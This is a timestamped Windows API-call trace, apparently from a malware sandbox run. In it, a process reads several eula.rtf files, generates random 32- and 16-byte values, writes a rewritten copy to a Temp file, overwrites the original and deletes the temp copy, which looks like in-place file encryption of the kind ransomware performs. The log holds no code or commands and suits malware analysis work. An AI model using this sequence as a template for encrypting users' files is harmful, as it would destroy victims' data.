	[0073.526] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3)) returned 1
	[0073.526] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.527] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0073.527] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0073.585] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0073.585] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0073.585] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dbf4 | out: lpMode=0xc00022dbf4) returned 0
	[0073.585] GetFileType (hFile=0x164) returned 0x1
	[0073.585] GetFileType (hFile=0x164) returned 0x1
	[0073.585] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc00022dc44 | out: lpFileInformation=0xc00022dc44) returned 1
	[0073.585] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc00022dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00022dc28) returned 1
	[0073.585] ReadFile (in: hFile=0x164, lpBuffer=0xc00026f900, nNumberOfBytesToRead=0x1113, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc00026f900*, lpNumberOfBytesRead=0xc00022db04*=0xf13, lpOverlapped=0x0) returned 1
	[0074.199] ReadFile (in: hFile=0x164, lpBuffer=0xc000270813, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc000270813*, lpNumberOfBytesRead=0xc00022db04*=0x0, lpOverlapped=0x0) returned 1
	[0074.199] CloseHandle (hObject=0x164) returned 1
	[0074.200] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000207020 | out: pbBuffer=0xc000207020) returned 1
	[0074.200] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000222860 | out: pbBuffer=0xc000222860) returned 1
	[0074.200] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212d01 | out: pbBuffer=0xc000212d01) returned 1
	[0074.200] VirtualAlloc (lpAddress=0xc0003c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c2000
	[0074.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0074.201] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0074.201] GetFileType (hFile=0x164) returned 0x1
	[0074.201] WriteFile (in: hFile=0x164, lpBuffer=0xc000270c00*, nNumberOfBytesToWrite=0x1013, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc000270c00*, lpNumberOfBytesWritten=0xc00022dbec*=0x1013, lpOverlapped=0x0) returned 1
	[0074.202] CloseHandle (hObject=0x164) returned 1
	[0074.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0074.216] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0074.216] GetFileType (hFile=0x164) returned 0x1
	[0074.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0074.217] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0074.217] GetFileType (hFile=0x178) returned 0x1
	[0074.217] VirtualAlloc (lpAddress=0xc0003c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c4000
	[0074.217] ReadFile (in: hFile=0x178, lpBuffer=0xc0003c4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003c4000*, lpNumberOfBytesRead=0xc00022dbd4*=0x1013, lpOverlapped=0x0) returned 1
	[0074.218] WriteFile (in: hFile=0x164, lpBuffer=0xc0003c4000*, nNumberOfBytesToWrite=0x1013, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc0003c4000*, lpNumberOfBytesWritten=0xc00022db74*=0x1013, lpOverlapped=0x0) returned 1
	[0074.219] ReadFile (in: hFile=0x178, lpBuffer=0xc0003c4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003c4000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0074.219] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 0
	[0074.219] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 0
	[0074.220] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 0x20
	[0074.220] CloseHandle (hObject=0x178) returned 1
	[0074.220] CloseHandle (hObject=0x164) returned 1
	[0074.220] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 1
	[0074.231] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0074.424] SetEvent (hEvent=0x19c) returned 1
	[0074.424] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0074.425] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0074.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0074.425] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0074.425] GetFileType (hFile=0x164) returned 0x1
	[0074.425] GetFileType (hFile=0x164) returned 0x1
	[0074.425] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
	[0074.425] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0074.425] VirtualAlloc (lpAddress=0xc00032c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032c000
	[0074.427] ReadFile (in: hFile=0x164, lpBuffer=0xc00032c000, nNumberOfBytesToRead=0x1aa5, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc00032c000*, lpNumberOfBytesRead=0xc000287b04*=0x18a5, lpOverlapped=0x0) returned 1
	[0074.518] ReadFile (in: hFile=0x164, lpBuffer=0xc00032d8a5, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc00032d8a5*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0074.518] CloseHandle (hObject=0x164) returned 1
	[0074.518] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc00000eb20 | out: pbBuffer=0xc00000eb20) returned 1
	[0074.518] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0000105b0 | out: pbBuffer=0xc0000105b0) returned 1
	[0074.518] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000000901 | out: pbBuffer=0xc000000901) returned 1
	[0074.519] VirtualAlloc (lpAddress=0xc000338000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000338000
	[0074.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0074.521] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0074.521] GetFileType (hFile=0x164) returned 0x1
	[0074.521] WriteFile (in: hFile=0x164, lpBuffer=0xc000338000*, nNumberOfBytesToWrite=0x19a5, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc000338000*, lpNumberOfBytesWritten=0xc000287bec*=0x19a5, lpOverlapped=0x0) returned 1
	[0074.522] CloseHandle (hObject=0x164) returned 1
	[0074.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0074.525] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0074.525] GetFileType (hFile=0x164) returned 0x1
	[0074.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0074.525] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0074.525] GetFileType (hFile=0x190) returned 0x1
	[0074.525] VirtualAlloc (lpAddress=0xc000342000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000342000
	[0074.527] ReadFile (in: hFile=0x190, lpBuffer=0xc000342000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000342000*, lpNumberOfBytesRead=0xc000287bd4*=0x19a5, lpOverlapped=0x0) returned 1
	[0074.527] WriteFile (in: hFile=0x164, lpBuffer=0xc000342000*, nNumberOfBytesToWrite=0x19a5, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc000342000*, lpNumberOfBytesWritten=0xc000287b74*=0x19a5, lpOverlapped=0x0) returned 1
	[0074.528] ReadFile (in: hFile=0x190, lpBuffer=0xc000342000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000342000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0074.528] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 0
	[0074.528] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 0
	[0074.529] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 0x20
	[0074.530] CloseHandle (hObject=0x190) returned 1
	[0074.530] CloseHandle (hObject=0x164) returned 1
	[0074.530] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 1
	[0074.532] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.282] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.814] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.959] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0075.978] SetEvent (hEvent=0x188) returned 1
	[0075.978] SetEvent (hEvent=0x17c) returned 1
	[0075.978] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.109] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.150] SetEvent (hEvent=0xd4) returned 1
	[0076.150] VirtualAlloc (lpAddress=0xc0001f0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f0000
	[0076.152] VirtualAlloc (lpAddress=0xc0001f8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f8000
	[0076.161] SetEvent (hEvent=0x188) returned 1
	[0076.161] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9301ffb58*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0076.577] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.577] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff3f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff3c8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff3f0, ulNumEntriesRemoved=0x9301ff3c8) returned 0
	[0076.582] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4db0000
	[0076.583] SetEvent (hEvent=0x188) returned 1
	[0076.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9301ffb68*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0076.623] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.624] FindClose (in: hFindFile=0x1619f39df20 | out: hFindFile=0x1619f39df20) returned 1
	[0076.625] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.687] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.748] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0076.844] VirtualFree (lpAddress=0xc00047a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.844] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x8, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0076.950] VirtualFree (lpAddress=0xc000478000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0076.950] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x3a, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.046] SetEvent (hEvent=0x188) returned 1
	[0077.046] VirtualFree (lpAddress=0xc000476000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.046] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x54, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.174] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.212] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.250] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.287] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x11, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.328] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x9f, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.515] SetEvent (hEvent=0xfc) returned 1
	[0077.515] VirtualFree (lpAddress=0xc00046a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.515] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.554] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.597] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1d, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.645] SetEvent (hEvent=0xfc) returned 1
	[0077.645] VirtualFree (lpAddress=0xc000462000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.646] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.688] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.816] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x3b, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.943] SetEvent (hEvent=0x188) returned 1
	[0077.943] VirtualFree (lpAddress=0xc00045a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0077.943] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0077.982] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.021] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1a, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.058] VirtualFree (lpAddress=0xc000450000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.059] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.097] SetEvent (hEvent=0xf0) returned 1
	[0078.097] VirtualFree (lpAddress=0xc00044c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.097] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.140] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.179] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.217] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x31, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.295] SetEvent (hEvent=0x188) returned 1
	[0078.296] VirtualFree (lpAddress=0xc00043c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.296] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.345] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x30, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.462] VirtualFree (lpAddress=0xc000436000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.463] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x31, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.554] SetEvent (hEvent=0x188) returned 1
	[0078.554] VirtualFree (lpAddress=0xc000434000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.554] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.594] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.645] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1b, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.689] VirtualFree (lpAddress=0xc00042a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.689] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x69, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0078.819] SetEvent (hEvent=0xf0) returned 1
	[0078.819] VirtualFree (lpAddress=0xc000428000, dwSize=0x2000, dwFreeType=0x4000) returned 1
